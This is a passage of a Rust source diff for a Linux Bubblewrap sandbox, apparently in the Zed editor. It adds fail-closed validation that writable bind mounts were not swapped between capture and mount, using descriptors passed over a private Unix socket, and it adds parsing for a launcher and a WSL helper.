-    build_bwrap_args_with_proxy_socket_sandbox_path(
+    build_bwrap_args_with_sandbox_paths(
         writable_directories,
         protected_git_dirs,
         permissions,
         cwd,
         proxy_socket_path,
         proxy_socket_sandbox_path.as_deref(),
+        None,
+        None,
     )
 }
 
-fn build_bwrap_args_with_proxy_socket_sandbox_path(
+#[allow(
+    clippy::too_many_arguments,
+    reason = "a flat arg list mirrors the bwrap flags this assembles"
+)]
+fn build_bwrap_args_with_sandbox_paths(
     writable_directories: &[&Path],
     protected_git_dirs: &[&Path],
     permissions: SandboxPermissions,
     cwd: Option<&Path>,
     proxy_socket_path: Option<&Path>,
     proxy_socket_sandbox_path: Option<&Path>,
+    validation_socket_path: Option<&Path>,
+    validation_socket_sandbox_path: Option<&Path>,
 ) -> Vec<String> {
     let mut args = Vec::new();
 
@@ -222,20 +274,20 @@ fn build_bwrap_args_with_proxy_socket_sandbox_path(
         args.push("/tmp".to_string());
 
         for directory in writable_directories {
-            // Bind each writable directory at its *exact* path. We must never
-            // fall back to an existing ancestor: that would grant write access
-            // to a broader tree than was requested and approved (e.g. binding
-            // `$HOME` for a not-yet-created `~/.cache/...`, or re-binding the
-            // host `/tmp` over the tmpfs established above). `wrap_invocation`
-            // creates the requested directories before launch so they exist
-            // here; any that still don't are skipped rather than widened.
+            // Bind each writable directory at its *exact* path, **verbatim** —
+            // never re-`canonicalize`d here. The path was already resolved once,
+            // at capture time, to the pinned inode's current path (`readlink` of
+            // the `O_PATH` fd); re-resolving it now would reopen the
+            // time-of-check-to-time-of-use gap a malicious swap exploits. We must
+            // also never widen to an existing ancestor, so a path that doesn't
+            // exist is skipped rather than falling back to a parent. Whatever
+            // inode bwrap actually binds is verified after the mounts by the
+            // in-sandbox launcher (see `validate_binds`), which fails closed on a
+            // mismatch.
             if !directory.exists() {
                 continue;
             }
-            let canonical = directory
-                .canonicalize()
-                .unwrap_or_else(|_| directory.to_path_buf());
-            let path = canonical.to_string_lossy().into_owned();
+            let path = directory.to_string_lossy().into_owned();
             push_bind(&mut args, "--bind", &path, &path);
         }
 
@@ -243,18 +295,17 @@ fn build_bwrap_args_with_proxy_socket_sandbox_path(
         // worktree binds above (order matters: later binds win). Unlike
         // Seatbelt, bwrap can't deny content reads while keeping metadata, so on
         // Linux a protected `.git` is read-only — its contents stay readable but
-        // can't be written. A not-yet-existing `.git` can't be bound, so it's
-        // skipped (a documented gap vs. macOS, which denies it even before it
-        // exists). When Git access is granted these dirs are in
-        // `writable_directories` instead and this list is empty.
+        // can't be written. A read-only re-bind needs no TOCTOU check: the whole
+        // root is already read-only, so re-exposing a path read-only grants
+        // nothing new even if its source was swapped. A not-yet-existing `.git`
+        // can't be bound, so it's skipped (a documented gap vs. macOS). When Git
+        // access is granted these dirs are in `writable_directories` instead and
+        // this list is empty.
         for git_dir in protected_git_dirs {
             if !git_dir.exists() {
                 continue;
             }
-            let canonical = git_dir
-                .canonicalize()
-                .unwrap_or_else(|_| git_dir.to_path_buf());
-            let path = canonical.to_string_lossy().into_owned();
+            let path = git_dir.to_string_lossy().into_owned();
             push_bind(&mut args, "--ro-bind", &path, &path);
         }
     }
@@ -285,6 +336,17 @@ fn build_bwrap_args_with_proxy_socket_sandbox_path(
         NetworkAccess::All => {}
     }
 
+    // The validation socket is filesystem-based, so it works regardless of the
+    // network policy (an `--unshare-net`'d sandbox can't reach an abstract
+    // socket, but a bind-mounted one is fine). Bind it after the `/tmp` tmpfs so
+    // it isn't shadowed by the overlay.
+    if let Some((source, destination)) = validation_socket_path.zip(validation_socket_sandbox_path)
+    {
+        let source = source.to_string_lossy().into_owned();
+        let destination = destination.to_string_lossy().into_owned();
+        push_bind(&mut args, "--bind", &source, &destination);
+    }
+
     if let Some(cwd) = cwd {
         args.push("--chdir".to_string());
         args.push(cwd.to_string_lossy().into_owned());
@@ -308,6 +370,160 @@ fn unique_proxy_socket_sandbox_path() -> PathBuf {
     ))
 }
 
+/// In-sandbox bind destination for the validation socket. Each sandboxed command
+/// runs in its own mount namespace, so this only needs to avoid colliding with
+/// other binds in the same namespace.
+fn unique_validation_socket_sandbox_path() -> PathBuf {
+    static COUNTER: AtomicU64 = AtomicU64::new(0);
+    let counter = COUNTER.fetch_add(1, Ordering::Relaxed);
+    PathBuf::from(format!(
+        "{VALIDATION_SOCKET_SANDBOX_PATH_PREFIX}-{}-{counter}.sock",
+        std::process::id()
+    ))
+}
+
+/// Create a private, owner-only directory for the validation listener socket and
+/// return `(directory, socket path)`. The socket is a host path (it lives
+/// outside the sandbox's `/tmp` tmpfs) and is bind-mounted in at
+/// [`unique_validation_socket_sandbox_path`].
+///
+/// The socket carries the captured `O_PATH` descriptors over `SCM_RIGHTS`, so
+/// connect access must be confined to us. Rather than bind in shared `/tmp` and
+/// `chmod` after (which leaves a window where another user could connect before
+/// the `chmod` lands), we create a `0700` directory up front: `create` is atomic
+/// and fails if the path already exists, and `mode(0o700)` makes it
+/// owner-only from creation, so no other user can even traverse to the socket.
+fn unique_validation_socket_host_path() -> std::io::Result<(PathBuf, PathBuf)> {
+    use std::os::unix::fs::DirBuilderExt as _;
+    static COUNTER: AtomicU64 = AtomicU64::new(0);
+    let counter = COUNTER.fetch_add(1, Ordering::Relaxed);
+    let dir = std::env::temp_dir().join(format!(
+        "zed-sandbox-validate-{}-{counter}",
+        std::process::id()
+    ));
+    // Clear a stale directory left by a previous run that reused this pid; this
+    // only succeeds for a directory we own, so it can't be used to displace
+    // another user's squatted path (in which case `create` below fails closed).
+    let _ = std::fs::remove_dir_all(&dir);
+    std::fs::DirBuilder::new().mode(0o700).create(&dir)?;
+    let socket_path = dir.join("validate.sock");
+    Ok((dir, socket_path))
+}
+
+/// Host endpoint that hands the in-sandbox validator the captured `O_PATH`
+/// descriptors for the writable binds.
+///
+/// Runs in-process: `spawn` starts a short-lived background **thread** (never a
+/// separate process) that listens on an owner-only `AF_UNIX` socket and serves
+/// the descriptors to **exactly one** client (the in-sandbox validator) via
+/// `SCM_RIGHTS`, then closes and removes the socket. The validator connects
+/// once, after bwrap has mounted the binds; `SCM_RIGHTS` keeps the descriptors
+/// alive in flight, so once the single send completes there is nothing left to
+/// serve. Holding the descriptors until that send keeps the captured inodes
+/// pinned (so they can't be recycled) up to the moment they're handed off.
+///
+/// It is owned by the per-command [`Sandbox`](crate::Sandbox); `Drop` wakes a
+/// still-blocked accept and removes the socket and its private directory (a
+/// no-op if the thread already tore them down). The socket is bind-mounted into
+/// the sandbox at [`Self::sandbox_socket_path`].
+pub(crate) struct ValidationFdSender {
+    host_socket_dir: PathBuf,
+    host_socket_path: PathBuf,
+    sandbox_socket_path: PathBuf,
+    shutdown: Arc<AtomicBool>,
+}
+
+impl ValidationFdSender {
+    /// Start serving `fds` (one per writable bind, in bind order). The caller
+    /// must pass the same order to the launcher so each fd lines up with its
+    /// bind-destination path.
+    pub(crate) fn spawn(fds: Vec<OwnedFd>) -> std::io::Result<Self> {
+        use std::os::unix::fs::PermissionsExt as _;
+
+        if fds.len() > MAX_VALIDATED_BINDS {
+            return Err(std::io::Error::other(format!(
+                "too many writable binds to validate ({} > {MAX_VALIDATED_BINDS})",
+                fds.len()
+            )));
+        }
+        let (host_socket_dir, host_socket_path) = unique_validation_socket_host_path()?;
+        let listener = UnixListener::bind(&host_socket_path)?;
+        // The enclosing directory is already `0700`, so this is defense in depth:
+        // connect permission on an `AF_UNIX` socket is governed by write
+        // permission on the socket file, so keep it owner-only too.
+        std::fs::set_permissions(&host_socket_path, std::fs::Permissions::from_mode(0o600))?;
+        let sandbox_socket_path = unique_validation_socket_sandbox_path();
+        let shutdown = Arc::new(AtomicBool::new(false));
+
+        // We use std threading APIs here because this code is run from both the
+        // Linux zed binary and also the WSL helper, which does not have a GPUI
+        // runtime.
+        thread::Builder::new()
+            .name("zed-sandbox-validation".to_string())
+            .spawn({
+                let shutdown = shutdown.clone();
+                let host_socket_path = host_socket_path.clone();
+                move || {
+                    // `fds` is held until the single send below, keeping the
+                    // pinned inodes alive until they're handed to the validator.
+                    let raw_fds: Vec<RawFd> = fds.iter().map(|fd| fd.as_raw_fd()).collect();
+                    // Serve exactly one client: the in-sandbox validator connects
+                    // once. A second connection (e.g. the wake from `Drop`) is
+                    // distinguished by the `shutdown` flag and never served.
+                    match listener.accept() {
+                        Ok((stream, _)) => {
+                            if !shutdown.load(Ordering::SeqCst) {
+                                if let Err(error) = send_fds(&stream, &raw_fds) {
+                                    log::warn!("[sandbox] failed to send validation fds: {error}");
+                                }
+                            }
+                        }
+                        Err(error) => {
+                            if !shutdown.load(Ordering::SeqCst) {
+                                log::warn!("[sandbox] sandbox validation accept failed: {error}");
+                            }
+                        }
+                    }
+                    drop(fds);
+                    // Close the listener and remove the socket so it can't be
+                    // connected to again. The directory is removed by `Drop`.
+                    drop(listener);
+                    let _ = std::fs::remove_file(&host_socket_path);
+                }
+            })?;
+
+        Ok(Self {
+            host_socket_dir,
+            host_socket_path,
+            sandbox_socket_path,
+            shutdown,
+        })
+    }
+
+    pub(crate) fn host_socket_path(&self) -> &Path {
+        &self.host_socket_path
+    }
+
+    pub(crate) fn sandbox_socket_path(&self) -> &Path {
+        &self.sandbox_socket_path
+    }
+}
+
+impl Drop for ValidationFdSender {
+    fn drop(&mut self) {
+        // If the validator never connected (e.g. bwrap failed before the
+        // launcher ran), the thread is still blocked in `accept`. Flag shutdown
+        // and poke the socket so the accept returns and the thread exits without
+        // serving the descriptors, then remove the socket and its private
+        // directory (a no-op if the thread already removed the socket after its
+        // single send).
+        self.shutdown.store(true, Ordering::SeqCst);
+        let _ = UnixStream::connect(&self.host_socket_path);
+        let _ = std::fs::remove_file(&self.host_socket_path);
+        let _ = std::fs::remove_dir_all(&self.host_socket_dir);
+    }
+}
+
 fn push_bind(args: &mut Vec<String>, flag: &str, source: &str, destination: &str) {
     args.push(flag.to_string());
     args.push(source.to_string());
@@ -323,38 +539,58 @@ fn resolve_bwrap() -> std::result::Result<PathBuf, LauncherStatus> {
 }
 
 fn prepare_sandbox(
-    writable_dirs: &[&Path],
     permissions: SandboxPermissions,
-    cwd: Option<&Path>,
-    proxy_socket_path: Option<&Path>,
 ) -> std::result::Result<(PathBuf, Vec<String>), LauncherStatus> {
-    let bwrap = resolve_bwrap()?;
-    // The probe only checks whether a sandbox can be created at all, so Git
-    // protection (which doesn't affect createability) is irrelevant here.
-    let bwrap_args = build_bwrap_args(writable_dirs, &[], permissions, cwd, proxy_socket_path);
+    let bwrap = match resolve_bwrap() {
+        Ok(bwrap) => bwrap,
+        Err(status) => {
+            log::warn!("[sandbox] cannot create sandbox: {}", status.describe());
+            return Err(status);
+        }
+    };
+    // The probe only answers "can a sandbox be created on this host at all", so
+    // it runs a bare, representative sandbox: no writable grants, no protected
+    // Git dirs, no proxy socket, and no `--chdir` into a command's working
+    // directory. None of those affect createability, and binding them would make
+    // the probe depend on per-command layout (e.g. a worktree under the `/tmp`
+    // tmpfs that `--chdir` then can't reach).
+    let bwrap_args = build_bwrap_args(&[], &[], permissions, None, None);
     if !probe_bwrap(&bwrap, &bwrap_args) {
         return Err(LauncherStatus::SandboxProbeFailed);
     }
     Ok((bwrap, bwrap_args))
 }
 
-/// Check whether an OS sandbox can be created for this policy.
+/// Check whether an OS sandbox can be created on this host for this policy.
 pub fn check_can_create_sandbox(
-    writable_dirs: &[&Path],
     permissions: SandboxPermissions,
-    cwd: Option<&Path>,
 ) -> std::result::Result<(), LauncherStatus> {
-    prepare_sandbox(writable_dirs, permissions, cwd, None).map(|_| ())
+    prepare_sandbox(permissions).map(|_| ())
+}
+
+/// The host (Zed-side) socket paths for the in-sandbox bind validator.
+#[derive(Clone, Copy)]
+pub struct ValidationSocket<'a> {
+    /// Host pathname of the listener the validator connects back to.
+    pub host_socket_path: &'a Path,
+    /// In-sandbox path the host socket is bind-mounted to (where the validator
+    /// actually connects).
+    pub sandbox_socket_path: &'a Path,
 }
 
 /// Build the final command line that runs `program` inside Bubblewrap.
 ///
-/// `bridge_program` should be the current Zed executable. It is only used for
-/// [`NetworkAccess::LocalhostPort`], where it runs in bridge mode inside the
-/// sandbox before spawning the real command.
+/// `bridge_program` should be the current Zed executable; it is re-exec'd inside
+/// the sandbox as the launcher whenever bind validation and/or the
+/// restricted-network bridge are needed, running before the real command.
 ///
-/// The host `proxy_socket_path` is bind-mounted to a per-invocation unique path
-/// inside the sandbox, and that same in-sandbox path is handed to the bridge.
+/// The host `proxy_socket_path` and `validation_socket` are each bind-mounted to
+/// a per-invocation path inside the sandbox, and those in-sandbox paths are
+/// handed to the launcher.
+#[allow(
+    clippy::too_many_arguments,
+    reason = "assembling a bwrap command line is inherently parameter-heavy"
+)]
 pub fn wrap_invocation(
     bridge_program: &str,
     permissions: SandboxPermissions,
@@ -364,11 +600,18 @@ pub fn wrap_invocation(
     program: &str,
     args: &[String],
     proxy_socket_path: Option<&Path>,
+    validation_socket: Option<ValidationSocket<'_>>,
 ) -> Result<(String, Vec<String>)> {
     if matches!(permissions.network, NetworkAccess::LocalhostPort(_)) && proxy_socket_path.is_none()
     {
         bail!("restricted Linux network access requires a proxy Unix socket path");
     }
+    if writable_dirs.len() > MAX_VALIDATED_BINDS {
+        bail!(
+            "too many writable binds to validate ({} > {MAX_VALIDATED_BINDS})",
+            writable_dirs.len()
+        );
+    }
 
     // Create the requested writable directories up front, with the agent's
     // ambient permissions, so each can be bind-mounted at its exact path (see
@@ -392,28 +635,62 @@ pub fn wrap_invocation(
         NetworkAccess::LocalhostPort(_) => Some(unique_proxy_socket_sandbox_path()),
         NetworkAccess::None | NetworkAccess::All => None,
     };
-    let mut bwrap_args = build_bwrap_args_with_proxy_socket_sandbox_path(
+    let mut bwrap_args = build_bwrap_args_with_sandbox_paths(
         writable_dirs,
         protected_git_dirs,
         permissions,
         cwd,
         proxy_socket_path,
         proxy_socket_sandbox_path.as_deref(),
+        validation_socket.map(|socket| socket.host_socket_path),
+        validation_socket.map(|socket| socket.sandbox_socket_path),
     );
     bwrap_args.push("--".to_string());
 
-    match permissions.network {
+    let bridge = match permissions.network {
         NetworkAccess::LocalhostPort(port) => {
             let proxy_socket_sandbox_path = proxy_socket_sandbox_path
                 .as_ref()
                 .context("missing in-sandbox proxy socket path")?;
-            bwrap_args.push(bridge_program.to_string());
-            bwrap_args.push(BRIDGE_FLAG.to_string());
-            bwrap_args.push(proxy_socket_sandbox_path.to_string_lossy().into_owned());
-            bwrap_args.push(port.to_string());
-            bwrap_args.push("--".to_string());
+            Some((proxy_socket_sandbox_path.clone(), port))
+        }
+        NetworkAccess::None | NetworkAccess::All => None,
+    };
+
+    // The launcher is only needed when there is something for it to do: validate
+    // writable binds, and/or run the restricted-network bridge. Otherwise the
+    // command runs directly under bwrap.
+    if validation_socket.is_some() || bridge.is_some() {
+        bwrap_args.push(bridge_program.to_string());
+        bwrap_args.push(LAUNCHER_FLAG.to_string());
+        // Field 1: validation socket (in-sandbox path) or sentinel.
+        bwrap_args.push(match validation_socket {
+            Some(socket) => socket.sandbox_socket_path.to_string_lossy().into_owned(),
+            None => LAUNCHER_NONE.to_string(),
+        });
+        // Fields 2-3: bridge socket (in-sandbox path) + port, or sentinels.
+        match &bridge {
+            Some((socket, port)) => {
+                bwrap_args.push(socket.to_string_lossy().into_owned());
+                bwrap_args.push(port.to_string());
+            }
+            None => {
+                bwrap_args.push(LAUNCHER_NONE.to_string());
+                bwrap_args.push(LAUNCHER_NONE.to_string());
+            }
         }
-        NetworkAccess::None | NetworkAccess::All => {}
+        // Field 4: the writable bind-destination paths to validate (count, then
+        // the paths), in the same order the host sends their fds.
+        let validation_paths: &[&Path] = if validation_socket.is_some() {
+            writable_dirs
+        } else {
+            &[]
+        };
+        bwrap_args.push(validation_paths.len().to_string());
+        for path in validation_paths {
+            bwrap_args.push(path.to_string_lossy().into_owned());
+        }
+        bwrap_args.push("--".to_string());
     }
 
     bwrap_args.push(program.to_string());
@@ -425,66 +702,182 @@ pub fn wrap_invocation(
     Ok((bwrap.to_string(), bwrap_args))
 }
 
-/// Handle a possible re-exec of this binary as the in-sandbox proxy bridge.
+/// Handle a possible re-exec of this binary as the in-sandbox launcher (bind
+/// validator + network bridge). Does not return if it was invoked as one.
 pub fn run_launcher_if_invoked() {
-    let Some(invocation) = parse_bridge_args(std::env::args_os()) else {
+    let Some(invocation) = parse_launcher_args(std::env::args_os()) else {
         return;
     };
     let invocation = match invocation {
         Ok(invocation) => invocation,
         Err(error) => {
-            eprintln!("zed: malformed sandbox bridge invocation: {error:#}");
+            eprintln!("zed: malformed sandbox launcher invocation: {error:#}");
             std::process::exit(127);
         }
     };
-    run_bridge(invocation);
+    run_launcher(invocation);
 }
 
-struct BridgeInvocation {
-    socket_path: PathBuf,
-    port: u16,
+/// A decoded in-sandbox launcher invocation (the `--zed-linux-sandbox-launcher`
+/// re-exec). All fields are produced by the trusted host side and parsed before
+/// any untrusted command runs.
+struct LauncherInvocation {
+    /// In-sandbox path of the validation socket, if bind validation is required.
+    validation_socket: Option<PathBuf>,
+    /// Writable bind-destination paths to validate, in the order the host sends
+    /// their fds. Empty when validation isn't required.
+    validation_paths: Vec<PathBuf>,
+    /// `(in-sandbox proxy socket path, loopback port)` if the restricted-network
+    /// bridge is required.
+    bridge: Option<(PathBuf, u16)>,
     program: OsString,
     args: Vec<OsString>,
 }
 
-fn parse_bridge_args(args: impl IntoIterator<Item = OsString>) -> Option<Result<BridgeInvocation>> {
+fn parse_launcher_args(
+    args: impl IntoIterator<Item = OsString>,
+) -> Option<Result<LauncherInvocation>> {
     let mut args = args.into_iter();
     args.next()?;
-    if args.next()?.to_str() != Some(BRIDGE_FLAG) {
+    if args.next()?.to_str() != Some(LAUNCHER_FLAG) {
         return None;
     }
-    Some(decode_bridge_args(args))
+    Some(decode_launcher_args(args))
+}
+
+/// Parse an optional field encoded as either a real value or the `-` sentinel.
+fn optional_field(value: OsString) -> Option<OsString> {
+    if value == LAUNCHER_NONE {
+        None
+    } else {
+        Some(value)
+    }
 }
 
-fn decode_bridge_args(mut args: impl Iterator<Item = OsString>) -> Result<BridgeInvocation> {
-    let socket_path = PathBuf::from(args.next().context("missing proxy socket path")?);
-    let port = args
+fn decode_launcher_args(mut args: impl Iterator<Item = OsString>) -> Result<LauncherInvocation> {
+    let validation_socket =
+        optional_field(args.next().context("missing validation socket field")?).map(PathBuf::from);
+    let bridge_socket =
+        optional_field(args.next().context("missing bridge socket field")?).map(PathBuf::from);
+    let bridge_port = optional_field(args.next().context("missing bridge port field")?)
+        .map(|value| {
+            value
+                .to_str()
+                .context("bridge port is not valid UTF-8")?
+                .parse::<u16>()
+                .context("invalid bridge port")
+        })
+        .transpose()?;
+    let bridge = match (bridge_socket, bridge_port) {
+        (Some(socket), Some(port)) => Some((socket, port)),
+        (None, None) => None,
+        _ => bail!("bridge socket and port must be set together"),
+    };
+
+    let path_count = args
         .next()
-        .context("missing proxy bridge port")?
+        .context("missing validation path count")?
         .to_str()
-        .context("proxy bridge port is not valid UTF-8")?
-        .parse::<u16>()
-        .context("invalid proxy bridge port")?;
-    let separator = args.next().context("missing bridge argument separator")?;
+        .context("validation path count is not valid UTF-8")?
+        .parse::<usize>()
+        .context("invalid validation path count")?;
+    if path_count > MAX_VALIDATED_BINDS {
+        bail!("validation path count {path_count} exceeds {MAX_VALIDATED_BINDS}");
+    }
+    let mut validation_paths = Vec::with_capacity(path_count);
+    for _ in 0..path_count {
+        validation_paths.push(PathBuf::from(
+            args.next().context("missing validation path")?,
+        ));
+    }
+
+    let separator = args.next().context("missing launcher argument separator")?;
     if separator != "--" {
-        bail!("missing bridge argument separator");
+        bail!("missing launcher argument separator");
     }
     let program = args.next().context("missing program to run")?;
     let args = args.collect();
-    Ok(BridgeInvocation {
-        socket_path,
-        port,
+    Ok(LauncherInvocation {
+        validation_socket,
+        validation_paths,
+        bridge,
         program,
         args,
     })
 }
 
+/// The in-sandbox launcher entry point. Runs after bwrap's mounts and before the
+/// real command: it verifies the writable binds weren't redirected, optionally
+/// starts the restricted-network bridge, then runs the command. Never returns.
+fn run_launcher(invocation: LauncherInvocation) -> ! {
+    if let Some(socket) = &invocation.validation_socket {
+        if let Err(error) = validate_binds(socket, &invocation.validation_paths) {
+            // Fail closed: a redirected (or unverifiable) writable bind means the
+            // command must not run at all.
+            eprintln!("zed: sandbox bind validation failed: {error:#}");
+            std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+        }
+    }
+
+    match invocation.bridge {
+        Some((socket_path, port)) => {
+            run_bridge(socket_path, port, &invocation.program, &invocation.args)
+        }
+        // No bridge to keep alive, so `exec` the command directly rather than
+        // lingering as a parent process.
+        None => exec_command(&invocation.program, &invocation.args),
+    }
+}
+
+/// Verify each writable bind resolves, inside the sandbox, to the exact inode the
+/// host captured. Receives the captured `O_PATH` fds over `socket_path` via
+/// `SCM_RIGHTS` (in the same order as `paths`), then compares `fstat(received
+/// fd)` against `lstat(mounted path)`. Both stats run in this process inside the
+/// sandbox, so the comparison needs no cross-namespace assumption about device
+/// numbers. Any mismatch — or any failure to obtain the expected number of fds —
+/// is an error (the caller fails closed).
+fn validate_binds(socket_path: &Path, paths: &[PathBuf]) -> Result<()> {
+    let stream = UnixStream::connect(socket_path)
+        .with_context(|| format!("connecting to validation socket {}", socket_path.display()))?;
+    let fds = recv_fds(&stream).context("receiving validation descriptors")?;
+    if fds.len() != paths.len() {
+        bail!(
+            "expected {} validation descriptor(s), received {}",
+            paths.len(),
+            fds.len()
+        );
+    }
+    for (fd, path) in fds.iter().zip(paths) {
+        let expected = fd_dev_ino(fd.as_raw_fd())
+            .with_context(|| format!("fstat of captured descriptor for {}", path.display()))?;
+        let mounted = lstat_dev_ino(path)
+            .with_context(|| format!("lstat of mounted bind {}", path.display()))?;
+        if expected != mounted {
+            bail!(
+                "writable bind {} was redirected (captured inode {:?}, mounted inode {:?})",
+                path.display(),
+                expected,
+                mounted
+            );
+        }
+    }
+    Ok(())
+}
+
+/// Replace this process with the sandboxed command. Only returns (after logging)
+/// if `exec` itself fails.
+fn exec_command(program: &OsStr, args: &[OsString]) -> ! {
+    let error = Command::new(program).args(args).exec();
+    eprintln!("zed: failed to exec sandboxed command: {error}");
+    std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+}
+
 #[allow(
     clippy::disallowed_methods,
     reason = "the bridge is an in-sandbox process that must synchronously spawn and wait for the command"
 )]
-fn run_bridge(invocation: BridgeInvocation) -> ! {
-    let listener = match TcpListener::bind((Ipv4Addr::LOCALHOST, invocation.port)) {
+fn run_bridge(socket_path: PathBuf, port: u16, program: &OsStr, program_args: &[OsString]) -> ! {
+    let listener = match TcpListener::bind((Ipv4Addr::LOCALHOST, port)) {
         Ok(listener) => listener,
         Err(error) => {
             eprintln!("zed: failed to bind sandbox proxy bridge: {error}");
@@ -492,7 +885,6 @@ fn run_bridge(invocation: BridgeInvocation) -> ! {
         }
     };
 
-    let socket_path = invocation.socket_path.clone();
     if let Err(error) = thread::Builder::new()
         .name("zed-sandbox-bridge".to_string())
         .stack_size(128 * 1024)
@@ -502,10 +894,7 @@ fn run_bridge(invocation: BridgeInvocation) -> ! {
         std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
     }
 
-    let mut child = match Command::new(&invocation.program)
-        .args(&invocation.args)
-        .spawn()
-    {
+    let mut child = match Command::new(program).args(program_args).spawn() {
         Ok(child) => child,
         Err(error) => {
             eprintln!("zed: failed to spawn sandboxed command: {error}");
@@ -528,6 +917,281 @@ fn run_bridge(invocation: BridgeInvocation) -> ! {
     }
 }
 
+/// Send `fds` over `stream` in a single message carrying one byte of payload and
+/// the descriptors as `SCM_RIGHTS` ancillary data.
+fn send_fds(stream: &UnixStream, fds: &[RawFd]) -> std::io::Result<()> {
+    use nix::sys::socket::{ControlMessage, MsgFlags, sendmsg};
+    let payload = [0u8; 1];
+    let iov = [std::io::IoSlice::new(&payload)];
+    let control = [ControlMessage::ScmRights(fds)];
+    sendmsg::<()>(
+        stream.as_raw_fd(),
+        &iov,
+        &control,
+        MsgFlags::MSG_NOSIGNAL,
+        None,
+    )
+    .map_err(std::io::Error::from)?;
+    Ok(())
+}
+
+/// Receive the descriptors sent via `SCM_RIGHTS` on `stream`. They arrive with
+/// `O_CLOEXEC` (via `MSG_CMSG_CLOEXEC`) so they don't leak into the command
+/// that's `exec`'d after validation. The ancillary buffer is sized for the
+/// protocol maximum ([`MAX_VALIDATED_BINDS`]); a sender exceeding it trips
+/// `MSG_CTRUNC` and a mismatched count is rejected by the caller.
+fn recv_fds(stream: &UnixStream) -> std::io::Result<Vec<OwnedFd>> {
+    use nix::sys::socket::{ControlMessageOwned, MsgFlags, recvmsg};
+    let mut payload = [0u8; 1];
+    let mut iov = [std::io::IoSliceMut::new(&mut payload)];
+    let mut control = nix::cmsg_space!([RawFd; MAX_VALIDATED_BINDS]);
+    let message = recvmsg::<()>(
+        stream.as_raw_fd(),
+        &mut iov,
+        Some(&mut control),
+        MsgFlags::MSG_CMSG_CLOEXEC,
+    )
+    .map_err(std::io::Error::from)?;
+    if message.flags.contains(MsgFlags::MSG_CTRUNC) {
+        return Err(std::io::Error::other(
+            "validation descriptors were truncated in transit",
+        ));
+    }
+
+    let mut fds = Vec::new();
+    for control_message in message.cmsgs().map_err(std::io::Error::from)? {
+        if let ControlMessageOwned::ScmRights(raw_fds) = control_message {
+            for raw in raw_fds {
+                // SAFETY: the kernel installs each `SCM_RIGHTS` descriptor as a
+                // freshly-allocated, open fd in *our* table for this message
+                // (with `O_CLOEXEC` via `MSG_CMSG_CLOEXEC`), so it's valid and
+                // can't alias an fd we already hold. `nix`'s `ScmRights` does not
+                // take ownership of received fds (closing them is the caller's
+                // responsibility), so wrapping each exactly once here makes us
+                // their sole owner. Both hold for any peer, which is why this
+                // (and `recv_fds`) is sound as a safe fn rather than needing an
+                // `unsafe fn` precondition on the caller.
+                fds.push(unsafe { OwnedFd::from_raw_fd(raw) });
+            }
+        }
+    }
+    Ok(fds)
+}
+
+/// `(device, inode)` of the object an already-open descriptor refers to.
+fn fd_dev_ino(fd: RawFd) -> std::io::Result<(u64, u64)> {
+    let stat = nix::sys::stat::fstat(fd).map_err(std::io::Error::from)?;
+    Ok((stat.st_dev as u64, stat.st_ino as u64))
+}
+
+/// `(device, inode)` of `path` without following a final symlink.
+fn lstat_dev_ino(path: &Path) -> std::io::Result<(u64, u64)> {
+    // `symlink_metadata` is `lstat(2)` (it does not follow a final symlink).
+    let metadata = std::fs::symlink_metadata(path)?;
+    Ok((metadata.dev(), metadata.ino()))
+}
+
+/// Open an `O_PATH` descriptor pinning `path`'s inode (read/write on contents is
+/// not granted), the same capture the native-Linux policy layer performs in
+/// `HostFilesystemLocation::new`.
+fn open_o_path_fd(path: &Path) -> std::io::Result<OwnedFd> {
+    use std::os::unix::fs::OpenOptionsExt as _;
+    let file = std::fs::OpenOptions::new()
+        .read(true)
+        .custom_flags(libc::O_PATH | libc::O_CLOEXEC)
+        .open(path)?;
+    Ok(OwnedFd::from(file))
+}
+
+/// A decoded WSL-helper invocation (`--wsl-sandbox-helper`). All fields are
+/// produced by the trusted Windows side and parsed before any untrusted command
+/// runs.
+struct WslHelperInvocation {
+    /// Absolute path of `bwrap` inside WSL (located by the Windows-side probe).
+    bwrap_path: PathBuf,
+    /// Pre-built bwrap *options* — everything before the trailing `-- cmd` —
+    /// assembled on the Windows side (`windows_wsl::build_bwrap_args`): root
+    /// bind, `/tmp` tmpfs, writable binds, Windows-interop blocking, `--setenv`s,
+    /// `--chdir`, namespace flags, etc.
+    base_args: Vec<OsString>,
+    /// The writable bind destinations to validate — exactly the ones `base_args`
+    /// binds read-write. Each is captured here (WSL-side) and checked in-sandbox.
+    writable_paths: Vec<PathBuf>,
+    program: OsString,
+    args: Vec<OsString>,
+}
+
+/// Handle a possible re-exec of this binary as the WSL-side sandbox helper. Does
+/// not return if it was invoked as one.
+pub fn run_wsl_helper_if_invoked() {
+    let Some(invocation) = parse_wsl_helper_args(std::env::args_os()) else {
+        return;
+    };
+    let invocation = match invocation {
+        Ok(invocation) => invocation,
+        Err(error) => {
+            eprintln!("zed: malformed WSL sandbox helper invocation: {error:#}");
+            std::process::exit(127);
+        }
+    };
+    run_wsl_helper(invocation);
+}
+
+fn parse_wsl_helper_args(
+    args: impl IntoIterator<Item = OsString>,
+) -> Option<Result<WslHelperInvocation>> {
+    let mut args = args.into_iter();
+    args.next()?;
+    if args.next()?.to_str() != Some(WSL_HELPER_FLAG) {
+        return None;
+    }
+    Some(decode_wsl_helper_args(args))
+}
+
+fn decode_wsl_helper_args(mut args: impl Iterator<Item = OsString>) -> Result<WslHelperInvocation> {
+    let bwrap_path = PathBuf::from(args.next().context("missing bwrap path")?);
+    let base_count = parse_count(
+        args.next().context("missing base-arg count")?,
+        "base-arg count",
+    )?;
+    let mut base_args = Vec::with_capacity(base_count);
+    for _ in 0..base_count {
+        base_args.push(args.next().context("missing base arg")?);
+    }
+    let writable_count = parse_count(
+        args.next().context("missing writable count")?,
+        "writable count",
+    )?;
+    if writable_count > MAX_VALIDATED_BINDS {
+        bail!("writable count {writable_count} exceeds {MAX_VALIDATED_BINDS}");
+    }
+    let mut writable_paths = Vec::with_capacity(writable_count);
+    for _ in 0..writable_count {
+        writable_paths.push(PathBuf::from(args.next().context("missing writable path")?));
+    }
+    let separator = args.next().context("missing argument separator")?;
+    if separator != "--" {
+        bail!("missing argument separator");
+    }
+    let program = args.next().context("missing program to run")?;
+    let args = args.collect();
+    Ok(WslHelperInvocation {
+        bwrap_path,
+        base_args,
+        writable_paths,
+        program,
+        args,
+    })
+}
+
+fn parse_count(value: OsString, what: &str) -> Result<usize> {
+    value
+        .to_str()
